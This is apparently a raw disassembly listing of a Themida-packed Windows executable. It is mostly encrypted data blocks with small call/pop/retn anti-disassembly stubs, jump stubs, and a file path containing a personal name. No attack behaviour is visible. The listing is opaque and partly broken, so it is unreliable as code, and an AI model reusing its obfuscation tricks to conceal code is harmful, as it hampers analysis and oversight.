		dd 0ABE8EEDAh, 3577C700h, 8173B013h, 0BA6879F6h, 66C88162h
		dd 81058C25h, 817571EEh, 39B52900h, 560AE326h, 1F90E5B9h
		dd 29028F34h, 0E31C9D8Dh, 2EA830Ah, 19AD9D8Bh, 4A4A0AE3h
		dd 0EF81C78Bh, 1, 18850Fh, 8D8B0000h, 0AE31C4Dh, 38E9h
		dd 6649C800h, 0BBF0DACAh, 0C8B550C2h, 6660CCACh, 6E20E181h
		dd 8E960h, 56090000h, 0E1CC190h, 0B58BB801h, 0AE31C41h
		dd 5CE96161h, 31FFFFFFh, 0D1275C80h, 0DA38ABA0h, 24786C46h
		dd 2411EE51h, 7C320301h, 609BD9C2h, 6093C425h, 24046425h
		dd 74523001h, 0FDD52AC2h, 0A874DB8Ah, 2B16AED9h, 24107C85h
		dd 7312EB01h, 2412C3E9h, 0E74D4001h, 6EB95Eh, 569905h
		dd 24121A05h, 0E7454101h, 0D1F5B232h, 0A7CA360Eh, 0C7130DBCh
		dd 0A01D600Bh, 2412305Ch, 0CC43186Bh, 24120C02h, 7DD15F21h
		dd 20364F88h, 2036C580h, 2412C017h, 9DD13140h, 2BFAFA16h
		dd 95121801h, 0B5CF2EB9h, 0FFE65714h, 0E80A4A83h, 30FBC372h
		dd 6112C001h, 0BDC84D90h, 32E736C6h, 35B6FE4Ch,	6B8CB6CDh
		dd 7AA9ACF3h, 2413FCE8h, 0D699E101h, 0C99F4B56h, 7C18831Bh
		dd 9B44A060h, 2D4B7879h, 42A85C5Eh, 0B4533B35h,	0CC41036Bh
		dd 24128102h, 7FD19B21h, 20363C88h, 20367480h, 24121817h
		dd 92D15F42h, 251D9B5Dh, 4EEC274Dh, 27FAD401h, 412C001h
		dd 0AD4FA35Ch, 0A516146Dh
		dd 3D163C45h, 61120C01h, 4D4BC554h, 6D273648h, 0A5747B8Bh
		dd 7C306AD7h, 36EBFD8Ah, 0CE923AE2h, 8D29BA5h, 0AFECD681h
		dd 75126C09h, 241200E9h, 0E74BA101h, 5E4958h, 56E105h
		dd 24122505h, 0E7435901h, 7DAD3C9Eh, 42108C1Eh,	4EEE4B8Ah
		dd 27FAD001h, 412C001h,	0AD4BA358h, 0A516144Dh,	38163C45h
		dd 65120C01h, 88EBC550h, 6270B1EEh, 0CD282840h,	2412C012h
		dd 62E9BD1Dh, 1F5DED09h, 0F70CCC13h, 7037B018h,	0AF2E8C48h
		dd 0C716FE94h, 1D93E70Bh, 0A01D3F37h, 241260B8h, 0D83B588h
		dd 0E59112E2h, 74126608h, 241205E9h, 0E74A2301h, 560859h
		dd 564105h, 24127405h, 0E7427001h, 0CD2B98EEh, 24F4890Eh
		dd 84AC0601h, 0AF281016h, 0AF428040h, 0C73FF1B4h, 0EC113A0Bh
		dd 241237E9h, 0C4842801h, 0DFFCF3AFh, 24120EE9h, 2BDD5001h
		dd 0A1584804h, 0A5CD4036h, 0E5913A5Eh, 0FAEE8F04h, 21FA3C88h
		dd 89120C01h, 7D3F1094h, 7ECB8867h, 6F82B880h, 0A11D4B42h
		dd 24126095h, 0CC44306Bh, 24121802h, 7AD15221h,	20367288h
		dd 20364780h, 2412811Bh, 0E7D19647h, 0EF651D2Eh, 36FB1EACh
		dd 4A121801h, 0F71C92AAh, 0DC84DEC8h, 154FAEA9h, 75FE23B9h
		dd 4A9F4D8Ch, 4E18834Fh, 27FA6301h, 4121801h, 0AD49CF5Ah
		dd 0A516225Dh, 32162745h, 67128101h, 1C070352h,	2411D895h
		dd 0C6933001h, 68808C85h, 2478EDFEh, 2411EE51h,	7C320301h
		dd 609BD9C2h, 6093C425h, 240E6425h, 74523001h, 0C5A5F3C2h
		dd 5A2A332Fh, 9199DDB3h, 2EF11C50h, 0D6A58E60h,	5B857D8Ch
		dd 0A99F6AE9h, 2EFAB263h, 0B6916CB9h, 0CD973F00h, 0F18E51Eh
		dd 24786CCEh, 2411EE51h, 7C320301h, 609BD9C2h, 6093C425h
		dd 24046425h, 74523001h, 0F305E983h, 50C08BA4h,	2457BE66h
		dd 52006A5Ah, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 180F2CB2h, 0CE8C38Bh, 63000000h,	89F8AD45h
		dd 4EED632Fh, 0E924983Fh, 0Dh, 7E8AC303h, 7DADB2Ch, 0DBE0493Ah
		dd 8D8B5AEEh, 0AE334F5h, 729DC281h, 6E90000h, 8E000000h
		dd 414DD3F2h, 1C766866h, 0B5890000h, 0AE30369h,	8932FF5Bh
		dd 0E302259Dh, 0E957580Ah, 8, 0E1C5E5FDh, 0AF8EE42Ch, 0B6F0815Fh
		dd 8B340F2Ch, 0E330498Dh, 75E8810Ah, 890C41EEh,	0E3216D85h
		dd 75C0810Ah, 8B77A50Dh, 0E31CED8Dh, 5602890Ah,	0EA835EF8h
		dd 0BD8B6004h, 0AE312DDh, 0F0816652h, 61585DE6h, 13850F4Bh
		dd 89000000h, 0E31069BDh, 22E90Ah, 0A420000h, 8FCA7D28h
		dd 850FD907h, 8, 70E68150h, 5F6A95F1h, 0FFFF80E9h, 0B6C709FFh
		dd 0C8248029h, 84708D8Dh, 6A0AE8h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0A6F74BC3h, 6651CB27h
		dd 5EBB1ABEh, 1FADBF66h, 14798D89h, 13E90AE3h, 42000000h
		dd 16779207h, 59D852DFh, 0C874119Ch, 39DE5775h,	858901A6h
		dd 0AE31BC5h, 6C985C7h,	73D80AE3h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 85C743C3h
		dd 0AE30069h, 0
; ---------------------------------------------------------------------------
		xor	[ebp+0AE32331h], ecx
		push	dword ptr [ebp+0AE31A09h]
		push	0
		push	ebx
		call	sub_5DA903
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA903	proc near		; CODE XREF: Themida_:005DA8FBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5DA903	endp

; ---------------------------------------------------------------------------
		db 46h
		dd 6C1F562Eh, 2500D9F2h, 9D89F5D0h, 0AE30329h, 26B595FFh
		dd 6A0AE3h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 36808BC3h, 8A0F1Dh, 8B000000h, 0E3160585h
		dd 75958B0Ah, 6A0AE318h, 0D195FF00h, 8B0AE31Ch,	1579EBC0h
		dd 7276F71Bh, 657D653Ch, 22BCE094h, 0BD3324F9h,	9B85E6CCh
		dd 92A6B875h, 0AA8F3780h, 7D1E96B6h, 41F6C650h,	0B2298879h
		dd 221741ECh, 75798492h, 862546CEh, 0FB8101A9h,	0A67B5B2Ah
		dd 0D77233A3h, 61476893h, 9C3D84Ch, 0BE0891A6h,	0A9815F79h
		dd 9727F27Ah, 68D494C9h, 0F2516B8Eh, 95E5CDCCh,	593221Eh
		dd 0F9966BB5h, 2AE580F0h, 4B6CE605h, 0B25388B3h, 9395D85Eh
		dd 0B0E9h, 8C666000h, 4C2F6DAh,	0C850Fh, 853B0000h, 0AE33145h
		dd 36840Fh, 853B0000h, 0AE33565h, 2A840Fh, 853B0000h, 0AE304B5h
		dd 1E840Fh, 853B0000h, 0AE31B41h, 12840Fh, 0BD830000h
		dd 0AE3297Dh, 5840F01h,	0E9000000h, 5Fh, 5203D08Bh, 88BA8B3Ch
		dd 8B000000h, 0C985784Ah, 49840Fh, 0C2810000h, 0F8h, 30C728Bh
		dd 1C598BC8h, 314518Bh,	850B8BD8h, 10840FC9h, 3B000000h
		dd 17820FCEh, 3B000000h, 0F830FCFh, 83000000h, 0F4A04C3h
		dd 0FFFFDC85h, 0DE9FFh,	9D8D0000h, 0AE34E6Eh, 5B8h, 61E3FF00h
		dd 0E8D00BC3h, 9, 0C87F4F41h, 59DD9A16h, 0B185892Fh, 5E0AE306h
		dd 11E8h, 3F865300h, 0EE9E0B00h, 8A440664h, 0D017DA9h
		dd 6E94D7Eh, 0DF000000h, 0CADBBCC7h, 0C6815F3Dh, 6186h
		dd 8880Fh, 2B530000h, 0E320559Dh, 0D22B5F0Ah, 49597DBBh
		dd 3234FF27h, 8A59DE8Ah, 10C181FCh, 89690DBEh, 0E322FDBDh
		dd 0F9E9810Ah, 29609990h, 0E3059DBDh, 9AF1810Ah, 807F251Eh
		dd 0C898EC3h, 6850F16h,	0B000000h, 0E3189DBDh, 14E80Ah
		dd 0C92F0000h, 74FCA19Ch, 3A7344B5h, 64EBF52Dh,	5AA5486Dh
		dd 9D331872h, 0AE313F9h, 31EA815Bh, 8B284D69h, 0E32D2585h
		dd 2DC2810Ah, 0E9284D69h, 14h, 34B1CECh, 60E13144h, 88CCDF70h
		dd 0F509CA2h, 0ACD17B7Ch, 9F74FA81h, 850FFFFFh,	12h, 1BE9C18Ah
		dd 7E000000h, 47808230h, 0D8590C89h, 0BD8BA686h, 0AE318A9h
		dd 0FFFF54E9h, 45B81AFFh, 9D8D7BD4h, 0AE303E9h,	0CEB8h
		dd 7D858900h, 0E80AE313h, 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5DAC8B
; ---------------------------------------------------------------------------
		db 2 dup(0), 0F2h
		dd 32h dup(0F2000076h)
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DAC8B:				; CODE XREF: Themida_:005DABB8j
		lea	ecx, [ebp+0AE88861h]
		mov	ax, bx
		mov	[ebp+0AE31479h], ecx
		push	0
		push	esi
		call	sub_5DACA5
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DACA5	proc near		; CODE XREF: Themida_:005DAC9Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5DACA5	endp

; ---------------------------------------------------------------------------
		db 0E1h, 0CEh, 89h
; ---------------------------------------------------------------------------
		mov	ebp, 0AE311A5h
		mov	dword ptr [ebp+0AE306C9h], 6BFCh
		call	sub_5DACDC
		test	eax, 0DB51B2CCh
		or	[esi], ecx
		les	ecx, [edx+ecx*4]
		sub	dword ptr [esi], 0F10A859Fh

; =============== S U B	R O U T	I N E =======================================



sub_5DACDC	proc near		; CODE XREF: Themida_:005DACC7p
		mov	[ebp+0AE300D1h], edi
		pop	esi
		mov	dword ptr [ebp+0AE30069h], 0
		mov	edi, [ebp+0AE307FDh]
		push	dword ptr [ebp+0AE30445h]
		push	0
		push	esi
		call	sub_5DAD04
		and	[esi-3Dh], bl
sub_5DACDC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5DAD04	proc near		; CODE XREF: sub_5DACDC+20p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5DAD04	endp

; ---------------------------------------------------------------------------
		retf	89DDh
; ---------------------------------------------------------------------------
		sbb	dh, [edi-0A6D3F0Ah]
		call	dword ptr [ebp+0AE326B5h]
		push	0
		push	ebx
		call	sub_5DAD2E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DAD2E	proc near		; CODE XREF: Themida_:005DAD26p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5DAD2E	endp

; ---------------------------------------------------------------------------
		dw 90D8h
; ---------------------------------------------------------------------------
		jnb	loc_5DAD4C
		mov	[ebp+0AE31F71h], ecx


loc_5DAD4C:				; CODE XREF: Themida_:005DAD40j
		push	0
		call	dword ptr [ebp+0AE31CD1h]
		mov	eax, eax
		jmp	short loc_5DAD67
; ---------------------------------------------------------------------------
		dd 56BAD45Eh, 0CEAB7E43h, 620A9C9Ch
		db 6Eh,	52h, 0B1h
; ---------------------------------------------------------------------------


loc_5DAD67:				; CODE XREF: Themida_:005DAD56j
		jmp	loc_5DADE8
; ---------------------------------------------------------------------------
		dd 5232495h
aCDocumentsAndS	db 'C:\Documents and Settings\Martim Carbone\Desktop\Dialog.exe',0
		dd 0Fh dup(0)
; ---------------------------------------------------------------------------


loc_5DADE8:				; CODE XREF: Themida_:loc_5DAD67j
		jmp	loc_5DBD0A
; ---------------------------------------------------------------------------
		push	0AE88AE9h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE88BBEh
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE88D87h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE88DCBh
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE88E70h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE88F02h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE892F7h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE89575h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE89687h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		db 2Ch
		dd 1C4DC070h, 0A5FDE5Eh, 455A86Ch, 0F3A0A747h, 5FB1B43Ch
		dd 0ED95486Bh, 0E4A0396Ah, 0F1993061h, 0CD8D2D7Eh, 0F6520B4Ah
		dd 3665AC81h, 0CD74DDB6h, 569941D8h, 0ABA56505h, 0A7A66206h
		dd 8B60302Dh, 0AD12B551h, 0DA10784Bh, 6F0FCD2Eh, 0B1AAD0E1h
		dd 0B3B8A05Dh, 0E44C31DCh, 2D3B7CB1h, 31DCC0B3h, 72D3344Ch
		dd 31DC61D6h, 1E43964Ch, 0C88CD35Fh, 479D62A1h,	4C31DCD0h
		dd 0FD83D207h, 43169046h, 5B49h, 0A5A68800h, 0DCEA7617h
		dd 294BAD2Eh, 0E7A34750h, 43C82869h, 744C314Fh,	0AE0FEC21h
		dd 314EBDB2h, 0BA92FA4Ch, 9F74C4B8h, 601D4E83h,	0DE0150DCh
		dd 0D472A756h, 0E053ED30h, 164C3198h, 0C5DAB57h, 31A2AA6Ah
		dd 43A6EC1Fh, 18E8C359h, 1BBAAEFh, 3A1542EAh, 0F4184316h
		dd 3B000000h, 2F39E179h, 0B700F8CEh, 0F3596C82h, 0F9B8B43Ch
		dd 6D2071A4h, 82264BC5h, 984021C6h, 414DDE93h, 8E4C91C4h
		dd 0F0B1BFEEh, 23BDB058h, 414DDB61h, 2F243C9Dh,	68414DE4h
		dd 45C38325h, 5FACF334h, 2D7E1FBBh, 9C20DD8Dh, 5B8CC190h
		dd 4B0E06BEh, 3E00524h,	4DE352D9h, 0E9CCA941h, 38DF446h
		dd 0E5382D7h, 0DCA6AE6Ah, 60F8911Fh, 4BAC907Ah,	0B4BBA106h
		dd 0E34C30D8h, 0CE136FBEh, 9B904829h, 0DC4C30D8h, 5DD75699h
		dd 0E17B10A0h, 568E8DA9h, 4750096Ch, 0DF05E2A2h, 5716B558h
		dd 720B5A9Fh, 5BDA6619h, 6FAB5716h, 6B69BF15h, 7DF7A503h
		dd 9000000Ch, 80D154DCh, 7E2322CAh, 68393CD8h, 67340BB3h
		dd 0EB0518A8h, 7101BC9Fh, 480CADFEh, 4505A4F5h,	51F991C2h
		dd 62FE9FDEh, 3665ABEDh, 7988492Ah, 485D3AC6h, 5E63ED95h
		dd 9F3B680Fh, 0A68F64FBh, 0A2A9B3A5h, 0D5414E35h, 0B2AE4F80h
		dd 4BAD2F34h, 863EDBCCh, 5EA4CB8Eh, 0A0930D1Bh,	144C314Eh
		dd 0A61D99B0h, 0A943162Ah, 0BEh, 39E17968h, 3FC37A2Fh
		dd 31EDBF31h, 1DBD414Eh, 11A9FA7Dh, 7875FF49h, 79F78F28h
		dd 0A106E738h, 4E3AB4BBh, 6DBEE341h, 22DB0ACEh,	0AD20C026h
		dd 0ADA0F54Bh, 119D5F48h, 11134217h, 0A5BF5C5Ch, 568F1F5Eh
		dd 0CF2F7199h, 269FA495h, 0FE5C2922h, 0D31429A7h, 822EE13Ah
		dd 931FDE83h, 688CE7A7h, 9AF056Bh, 0BA8h, 0E47B07C7h, 0F649F5B7h
		dd 0CC4303A5h, 0DF5EDE9Fh, 282FD38Ah, 28E7C4C4h, 33D48598h
		dd 2CCF9C93h, 20B8E96Ch, 0C1A6E578h, 65AB141Bh,	0E3A04336h
		dd 429EC679h, 414E35CDh, 0E682D70Ah, 52972A22h,	8AEA8ED3h
		dd 4E35D95Eh, 0E57F1E41h, 414E356Eh, 0FE3374A9h, 6CCD927Fh
		dd 4E357FF4h, 3265B841h, 878149E1h, 0E58246E2h,	414419B0h
		dd 683C41F4h, 284F9ED3h, 70E9A7A4h, 3BC78693h, 558F6C2Dh
		dd 414D7FDEh, 8F91C419h, 4BAC60FFh, 9B151346h, 4C30A098h
		dd 15A1C80Ch, 431758AEh, 7A1h, 38A7000h, 9F000008h, 7617A5A6h
		dd 0AD2D3CEAh, 58D4094Bh, 30A97109h, 528541E7h,	2EEA8ED3h
		dd 2CE14C26h, 0F91330EDh, 590199D2h, 0DED121C6h, 0EFA741FBh
		dd 30DB8B9Fh, 5CFC9CEDh, 88E24FBFh, 5985EEDCh, 92841E16h
		dd 0FCB375A3h, 0A14D0E1Bh, 0C4AFDA7Eh, 0B0E16424h, 0AB9B7018h
		dd 0B8F7677Dh, 40E83F97h, 0D94AD0EEh, 0E19630h,	75B753D8h
		dd 6FF584B3h, 0B375B7E8h, 6689CA2Fh, 0CACC7E2h,	98C94Ch
		dd 8942CC58h, 0A0F6520Bh, 68BDD49Ah, 0E6DA518Bh, 0C81DBE58h
		dd 0B1566B13h, 58E6A4ABh, 5F8ED3BEh, 105FDE03h,	53F720F1h
		dd 0B5F8B9B7h, 15F2C2BBh, 4AC63B4h, 0DB3B4FD1h,	0BFE2C8B7h
		dd 11CCE8DEh, 858347E3h, 36EA86F4h, 0FE33BB71h,	790FE1AFh
		dd 0F6274CD2h, 0D5C6A7F5h, 0D9989418h, 0BF6BF196h, 8EB1AC0Eh
		dd 4BED813Bh, 0BBFCBD8Bh, 6764EE66h, 72D3B029h,	301761D6h
		dd 97696B2h, 4188B9B0h,	0EF8CFA3Fh, 0C927B364h,	0E1E779ACh
		dd 98BC8A52h, 0D773A445h, 0CB6F3C33h, 0A545330Fh, 0D5930569h
		dd 9DF67h, 0B23EFE00h, 802CEEB3h, 9A3ADC8Dh, 6915D69Bh
		dd 660AC596h, 1E3D0DE7h, 0F5CD35Fh, 6ABAA6Ah, 0F3A0A763h
		dd 0FDBCB357h, 0A94BC018h, 978C3665h, 22D8CD2Ah, 62064B9Ah
		dd 3F389CA6h, 7AF2815Eh, 99BC4h, 76FAB200h, 44E8A2F7h
		dd 5EF690C1h, 2DD18ADFh, 3AC6792Ah, 0D2F1C93Bh,	0C390971Bh
		dd 0BAEF6E26h, 0B7E47B1Fh, 0B1F07713h, 0A9070CD4h, 53303665h
		dd 0F46CCDEEh, 414E357Fh, 0E13265B8h, 0E2878149h, 0C980872Bh
		dd 4D4B00BAh, 2A32B4ACh, 0B6EB4BADh, 8C4E04DEh,	1CD18BD6h
		dd 0C21EFF9Ch, 0DEEAC4Dh, 0F42EE683h, 43997EA1h, 184DA8A7h
		dd 0C0353366h, 9E9616D7h, 0CDE5B3DBh, 524CE55Fh, 2C6C6103h
		dd 480F954Fh, 97CA232Ch, 4505A5F6h, 161DC7A4h, 4123B891h
		dd 0F9AAC91Ch, 2F9DB961h, 0C99CCB9Ah, 8F6BD63h,	55090000h
		dd 43F9AAADh, 51F7A4BBh, 2CE1B2B5h, 21DC8D80h, 16729E91h
		dd 77F67A35h, 4EC18522h, 5BDA7E1Dh, 57D67216h, 66ED7710h
		dd 913665A7h, 6CCD11F2h, 4E357FF4h, 3265B841h, 878149E1h
		dd 0EA8347E2h, 0E499E694h, 0E508808Dh, 0A635DA46h, 3734414Dh
		dd 0B9588079h, 8A4BA62Eh, 0C565B657h, 7A336405h, 6B8CA3F2h
		dd 73FD993Eh, 0BBFC983Eh, 0C7832774h, 0A256F526h, 0B7CA4206h
		dd 70A7FA72h, 4AF6A9F8h, 4C0CAFC2h, 4639E2F2h, 5AF87074h
		dd 864h, 383FC37Bh, 0A0DB16Bh, 7BF59h, 13129A53h, 6CE38F4Eh
		dd 0E49BB880h, 0EF88D95Ch, 0E883D057h, 0DC7C2D20h, 9D7A393Ch
		dd 65A6D047h, 0A76C0736h, 2F39E179h, 7CF369CEh,	0BB414E35h
		dd 46E23766h, 37D98A82h, 0BBF5B14h, 1C5DAB6Fh, 6FD444DBh
		dd 62B60ACDh, 50Eh, 17A5A6B1h, 0BD4BEA76h, 0C5184BA6h
		dd 93774724h, 75C52DB3h, 3ADE2372h, 57159F9Eh, 492ECF59h
		dd 36399C93h, 2A70F74Ch, 0D5C8652h, 0C7598CD1h,	430A7F05h
		dd 0E7A5F617h, 15341047h, 88CB98EEh, 0AFCBFCCFh, 0A2EBBEB5h
		dd 63A4F9C5h, 76FE9A3Eh, 0F76CFC23h, 0FACDA183h, 40h, 14A4A619h
		dd 0C0842277h, 25E23544h, 4E36383Fh, 323A7F41h,	29537BB0h
		dd 2016F761h, 0A0C5D95Dh, 4400571Ch, 0C319FE25h, 61B53A4Ch
		dd 7107568Bh, 699232CAh, 7C5h, 1E8A0C00h, 9F000002h, 1814A4A6h
		dd 22594686h, 5574D038h, 1C13C9AEh, 77BABAA2h, 0F5D434EAh
		dd 96F62074h, 88759555h, 9BCA0F6Ah, 99792E95h, 302130h
		dd 0CDF00000h, 357FF46Ch, 65B8414Eh, 7C3C3E32h,	5A2D7EF0h
		dd 3F993822h, 25C2D70Ch, 83D2E761h, 995D46FDh, 690E1B30h
		dd 0CF1EA3ADh, 0CC9Ch, 0A4A6B700h, 68227714h, 6CF491C4h
		dd 414E35E7h, 17FECCADh, 0C8B0B76Ch, 0F0363D27h, 3C61414Dh
		dd 0BC8850EBh, 0A950AAFDh, 24C8AE59h, 44DC0679h, 414E21CFh
		dd 0B990D508h, 2946EEC5h, 7EAB5873h, 56363EDAh,	0F66092E6h
		dd 0E784D9A0h, 4DC7F67Dh, 0A9FC2141h, 0AA73C9Bh, 6F2FB6h
		dd 9EE0000h, 4DBF5CD3h,	17469B41h, 4A4A67Ah, 8562A747h
		dd 4E35D65Fh, 0B877A041h, 589DE508h, 1106C2A3h,	6A414E36h
		dd 0CB9E69E4h, 71A4FEEEh, 699A252Eh, 489B4E0Ch,	0EFBC4A0Bh
		dd 63060E43h, 0A10400C8h, 0C27F0823h, 9EEC1336h, 0F106B284h
		dd 0C35184ACh, 0B60A6B94h, 1497h, 0C565B600h, 8BB4BBA1h
		dd 0BEE3414Dh, 8A612A7Dh, 0F5h,	0CF8A9Fh, 0A69F0000h, 861814A4h
		dd 141E745Ah, 0ED4960E4h, 1CA57476h, 8679h, 0A4A69800h
		dd 0A0967714h, 115D9825h, 0CD57866Eh, 414DCA46h, 0EE4F2C71h
		dd 4DC9FD72h
		dd 0B0E73A41h, 0AF5526B8h, 741616Dh, 0F31348E4h, 5B4C69EAh
		dd 74101CA4h, 0BC1911A9h, 7FAEE353h, 38CCh, 0A4A60700h
		dd 66ED7714h, 91414E35h, 78FA5A79h, 0D91A5FEBh,	0C07DAE4Fh
		dd 3E61303Ch, 6D425122h, 0E340452Ch, 6D8AF279h,	0ADF025AEh
		dd 8F3480ABh, 8224EA62h, 0Fh, 5B8A51h, 86930000h, 39F227E3h
		dd 79A962B5h, 0CE2F39E1h, 489F1FDDh, 4E364234h,	0A49A7341h
		dd 0BE84E106h, 751459E5h, 0D7065BD5h, 7CA95675h, 60313FBFh
		dd 23D7A31Ah, 0F43BB894h, 0C04703A7h, 14A4A62Bh, 0D7DA6C3Bh
		dd 0D3A20625h, 9414E3Ah, 0F53ABF27h, 0FF19B249h, 8A61FFFFh
		dd 256h, 9DE1799Fh, 4E35D047h, 91D20741h, 66818AF8h, 4ECEC901h
		dd 0B850111Fh, 882E7B10h, 969E1EDCh, 0F3868EC3h, 4A038DACh
		dd 0E178AD4Ah, 8939F439h, 0D2ABFABFh, 0ACC1DC76h, 0C04C914Bh
		dd 0AC63B415h, 0B171C04h, 0D404C31h, 4796AB6Bh,	310B3A3Dh
		dd 0FF2AAE4Ch, 303F2C0h, 8BA30483h, 0A46FD464h,	27624317h
		dd 0B1000000h, 7617A5A6h, 4BC58525h, 3A26E736h,	4BAD2FACh
		dd 36A8A4F9h, 4C315045h, 0B8F417B1h, 43162B03h,	910Eh
		dd 0E179C500h, 0C37A2F39h, 0D3C4313Fh, 242B3119h, 53414E36h
		dd 499ACD0Eh, 0A75FF9B1h, 9273EA62h, 4E35C1B6h,	7CA3F641h
		dd 48CF8B2Fh, 4E3194D4h, 4C46441h, 0CECE8F01h, 0F16E3329h
		dd 48AD4BABh, 3BC78693h, 0E8944942h, 3AF5A6C5h,	1FAA8CB6h
		dd 842C7444h, 46F16h, 22CE8E00h, 30BC7E23h, 0ACA6C3Dh
		dd 19A5660Bh, 169A5506h, 0AE8DFD17h, 9FCC43EFh,	96DB5AFAh
		dd 83D057F3h, 6D2C23E7h, 0A3DB5088h, 671C3665h,	3AC6799Ah
		dd 36D2763Bh, 0E179DA37h, 96574039h, 145B1E16h,	0EDAD4D1Ch
		dd 0E2E5E66Ah, 1C27C8BFh, 6C2BBD9h, 414D7F11h, 39DE1346h
		dd 0BD8B4BECh, 74ECA9FCh, 4BAC621Eh, 0A80A0257h, 4C30ADA5h
		dd 8C1C4FE1h, 3028C1CFh, 568F915Ah, 949B4126h, 0C35713DDh
		dd 0AEF34F9Eh, 682825AFh, 65C869F3h, 469B616Ch,	16D7C0A1h
		dd 0B3DB9E96h, 0AF7624Dh, 0D5E8127h, 7D01BB6Bh,	0EA6DAEF3h
		dd 0FD0EFB76h, 0E6A23961h, 81C167h, 0CD680000h,	0E69E3B6Ch
		dd 4E35F57Ah, 0A8FF2241h, 4E35A394h, 4E4E0A41h,	58FC9ACFh
		dd 3EB776A3h, 0DD2F176Fh, 0DF296AA5h, 822D223Eh, 376A414Dh
		dd 2B85A3F2h, 414D8224h, 0D8B95Eh, 414D820Bh, 82C6E94Ch
		dd 0A94AB867h, 61F069CDh, 4C3249F2h, 0AB4B3C3Eh, 0E5913784h
		dd 0C3428727h, 0D15FFB9Eh, 4D70DB5Fh, 3554E641h, 855F9F3Ah
		dd 414D708Eh, 0DC5394C9h, 0B62FEE3Bh, 4E9C2A22h, 28247984h
		dd 794D4669h, 0CF2E26E2h, 53B171FFh, 2B7A4835h,	0E68743E6h
		dd 0A5FC1D90h, 0E7A4DE03h, 7788C947h, 0B5670820h, 9A3EDD96h
		dd 0C07A199Bh, 0C054414Dh, 0B60A989Ch, 0FFFF4A95h, 0E179BCFFh
		dd 0DE7A2F39h, 0B4A93B3Ah, 581207E4h, 3563E870h, 4194414Eh
		dd 243CD90Ch, 4BAD130Ah, 67969EC3h, 0EE3CDC17h,	78AF3918h
		dd 316073E4h, 46EAA54Ch, 46FE9BCEh, 0CEFD5FCEh,	326A2B5h
		dd 161C0CABh, 323F43h, 0A6D20000h, 917617A5h, 0DCA6A6A1h
		dd 76B9FD0Eh, 0AC4DDCEAh, 78F4294Bh, 306D75E6h,	56A4614Ch
		dd 0B37515D5h, 57F1242Ah, 0F943F834h, 0EE4E4317h, 85000000h
		dd 2F39E179h, 702FC37Ah, 0E03544C0h, 0C34D8E46h, 0C64E0AAEh
		dd 0CC4307A3h, 0AE5AFE2Bh, 0B4C543EFh, 71A4F573h, 4E319DEFh
		dd 0DCD6D41h, 0BB9DED0Ah, 0B104D971h, 7C3668Bh,	0D4254809h
		dd 16989434h, 0BAA64755h, 4BAD5BC0h, 8DD19D0Dh,	0E3AAECF3h
		dd 3E73FFBEh, 0EBAB4C59h, 322BA5C4h, 0F05F8562h, 37568F6Eh
		dd 0B7B155F2h, 0DFC8A1E2h, 576CA520h, 878A079Eh, 0DB23E294h
		dd 1429E1E2h, 0ECA3F411h, 6689C844h, 6CD65A15h,	6B685150h
		dd 0F18C32BAh, 0C000001h, 0FCADA050h, 0EABFBE3Eh, 0E4B5884Ch
		dd 0D3808727h, 7F91941Ch, 0CD75280Bh, 0C480194Ah, 0D1791041h
		dd 0AD6D0D5Eh, 0D672EBAAh, 3665A061h, 7914FD96h, 0C23B3AC6h
		dd 3570E77Dh, 72A7414Eh, 35C84F95h, 0AA0F414Eh,	0E692367Bh
		dd 0F68B8541h, 0F455B2B5h, 4E35E76Ch, 9ACD1041h, 41D8CDF1h
		dd 9BCA8F99h, 20F1D489h, 0E02CE25Fh, 93492E63h,	4BACC013h
		dd 0AF010F52h, 4C30DFACh, 568DBC18h, 0BDE0A445h, 179B30AFh
		dd 0D63B43h, 79D60000h,	0E34039E1h, 0DD93A393h,	10003B97h
		dd 414DF21Bh, 5ED6195Ch, 0A0AC540Bh, 3AB60B5h, 0EE0040DCh
		dd 30C8414Dh, 24C49568h, 6566E864h, 319E62h, 0C2076070h
		dd 2B433F25h, 578A4BACh, 249F5CD0h, 96B28CAFh, 4C309AA1h
		dd 807B83D6h, 15F23799h, 8E457FCFh, 7A134656h, 272C3495h
		dd 0ED57166Ah, 166A0077h, 0B8E23757h, 3937B775h, 0A3F02778h
		dd 90C144ECh, 0E2A645DDh, 0F36F95A1h, 33B96B69h, 0DF8Dh
		dd 0B23EFE00h, 802CEEB3h, 9A3ADC8Dh, 6915D69Bh,	660AC596h
		dd 1E3D0DE7h, 0F5CD35Fh, 6ABAA6Ah, 0F3A0A763h, 0FDBCB357h
		dd 0A04BC018h, 978C3665h, 25D8CD2Ah, 9FCE939Dh,	68EF934Ah
